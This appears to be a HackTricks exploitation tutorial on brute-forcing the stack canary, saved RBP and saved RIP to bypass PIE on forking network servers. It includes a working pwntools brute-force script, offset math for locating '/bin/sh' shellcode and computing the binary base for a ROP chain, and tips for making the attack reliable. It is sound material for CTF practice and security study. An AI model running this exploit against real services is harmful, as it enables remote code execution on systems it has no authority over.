BF Addresses in the Stack
{{#include ../../../banners/hacktricks-training.md}}
If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.
.png>)
Brute-Force Addresses
In order to bypass the PIE you need to leak some address. And if the binary is not leaking any addresses the best to do it is to brute-force the RBP and RIP saved in the stack in the vulnerable function.\
For example, if a binary is protected using both a canary and PIE, you can start brute-forcing the canary, then the next 8 Bytes (x64) will be the saved RBP and the next 8 Bytes will be the saved RIP.
This technique is specially useful when each failed probe only kills the current worker but does not rerandomize the parent state (for example, a fork()-per-connection server or a service that respawns workers without execve()). If you first need to brute-force the canary in that scenario, check BF Forked & Threaded Stack Canaries.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program outputs something or it just doesn't crash. The same primitive used to brute-force the canary can be reused to leak the saved RBP and the saved RIP:
Python3 helper to brute-force the canary, saved RBP and saved RIP
from pwn import *
HOST, PORT = "localhost", 8788
def connect():
return remote(HOST, PORT)
def brute_qword(prefix, prompt=b"Username: ", success=b"SOME OUTPUT"):
leaked = b""
while len(leaked) < 8:
for guess in range(0x100):
io = connect()
io.recvuntil(prompt)
io.send(prefix + leaked + bytes([guess]))
out = io.clean(timeout=0.2)
io.close()
if success in out:
leaked += bytes([guess])
log.info("byte %d = %#x", len(leaked), guess)
break
else:
raise RuntimeError("No valid byte found")
return prefix + leaked
offset = 1176
payload = b"A" * offset
payload = brute_qword(payload) # canary
CANARY = u64(payload[-8:])
payload = brute_qword(payload) # saved RBP
RBP = u64(payload[-8:])
payload = brute_qword(payload) # saved RIP
RIP = u64(payload[-8:])
If the target reads with gets/fgets-style functions, remember to remove terminators such as \n from the candidate alphabet. With read/recv, brute-forcing all byte values is usually fine.
The last thing you need to defeat the PIE is to calculate useful addresses from the leaked addresses: the RBP and the RIP.
From the RBP you can calculate where are you writing your shell in the stack. This can be very useful to know where are you going to write the string "/bin/sh\x00" inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a breakpoint after leaking the RBP an check where is your shellcode located, then, you can calculate the distance between the shellcode and the RBP:
INI_SHELLCODE = RBP - 1152
From the RIP you can calculate the base address of the PIE binary which is what you are going to need to create a valid ROP chain.\
To calculate the base address, disassemble the binary and identify the exact static offset of the return site pointed to by the saved RIP (objdump -d, r2 -A, gef, pwndbg, etc.):
.png>)
The reliable calculation is to subtract that static offset from the leaked runtime address:
RET_OFFSET = 0x13cf # example: instruction after the call to the vulnerable function
elf.address = RIP - RET_OFFSET
assert elf.address & 0xfff == 0
If the leaked RIP is known to belong to the first executable page of a small binary, page-aligning it can still be enough as a quick shortcut or sanity check. For example, if you leak 0x562002970ecf, then the page containing that instruction starts at 0x562002970000:
page_base = RIP - (RIP & 0xfff)
Improvements
Blindly treating "no crash" as "correct byte" is fragile for saved RBP and saved RIP values. In practice, the following tweaks make this attack much more reliable:
- Use timeouts for saved
RBPguesses: a wrong value used byleave; retmay survive longer than a bad canary or a bad return address, so remote targets usually need a larger timeout than local tests. - Introduce a short delay between probes: sending requests too quickly can leave many workers/processes around, fill memory, or accumulate
TIME_WAITsockets, creating false positives unrelated to the guessed byte. - Do not brute-force bytes you already know: if disassembly shows that the target return site must end in a fixed tail such as
...e06, brute-force only the randomized byte or nibble(s). On amd64, the low 12 bits inside the page are constant for a given return site. - Validate candidates more than once: a wrong
RIPcan still return into valid code and print output. Requiring the same candidate to succeed several times, or validating it with a known stop gadget as in BROP, reduces false positives. - Re-check the stack delta after leaking
RBP: the distance from the leaked frame pointer to your controlled buffer can change with stack alignment, so measure that delta for the leaked frame layout instead of assuming a single constant.
References
- https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking
{{#include ../../../banners/hacktricks-training.md}}